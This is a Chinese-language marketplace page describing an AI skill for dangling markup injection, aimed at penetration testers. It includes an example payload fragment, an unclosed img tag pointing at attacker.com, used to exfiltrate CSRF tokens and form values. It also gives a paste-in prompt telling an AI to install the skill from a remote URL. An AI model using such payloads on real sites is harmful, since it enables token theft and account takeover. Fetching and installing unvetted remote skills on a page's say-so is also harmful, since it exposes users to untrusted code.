悬空标记注入
将以下提示词粘贴到你的 AI 对话框中:
请根据 https://skillhub.cn/install/skillhub.md,安装 @user_3c6cb52e/dangling-markup-injection-lr-0vfi
技能介绍
问题背景
当 Content-Security-Policy 严格限制脚本执行时,传统的 XSS 攻击手段往往失效。安全测试人员常常因此得出"无法利用"的结论,却忽略了浏览器在解析未闭合 HTML 标签时存在的独特行为。攻击者无需执行 JavaScript,仅凭 <img src= 或 <form action= 这类悬空标记,就能将页面内的敏感数据发送到外部服务器。
工作原理
该技能的核心在于利用浏览器原生解析机制而非脚本引擎。具体流程如下:
- 构造注入点:在响应中注入未闭合的标签,如
<img src="https://attacker.com/?,浏览器会自动将后续内容视为属性值 - 数据外泄:页面中的 CSRF token、预填表单值、链接参数等敏感内容会被拼接到 URL 中,随请求发送到攻击者服务器
- 浏览器差异:不同浏览器对
<base>、<meta>、<link>等标签的处理存在差异,该技能系统性地整理了这些行为 - 组合攻击:可结合 CSRF 形成完整攻击链,或配合缓存投毒放大影响范围
适用边界
该技术仅适用于存在 HTML 注入漏洞的场景,且目标页面包含敏感数据。它不能替代完整的 XSS,因为无法执行任意脚本。当 CSP 策略完全禁止内联标记时,此方法也会失效。建议在渗透测试的早期阶段使用,快速评估数据泄露风险。
使用场景
- 目标站点已部署严格CSP禁脚本,需要验证HTML注入能否绕过限制窃取CSRF令牌
- 对含敏感表单的Web应用做渗透测试,需确认悬空标记能否泄露预填值
- 在红队演练中需要构造攻击链,先窃取令牌再发起CSRF请求
适合人员
- Web渗透测试工程师,需要在CSP拦截脚本后寻找其他数据泄露路径
- 企业安全工程师,负责审计CSP策略覆盖范围与残留泄露风险
- 红队成员,需要组合CSRF令牌窃取与跨站请求伪造完成攻击链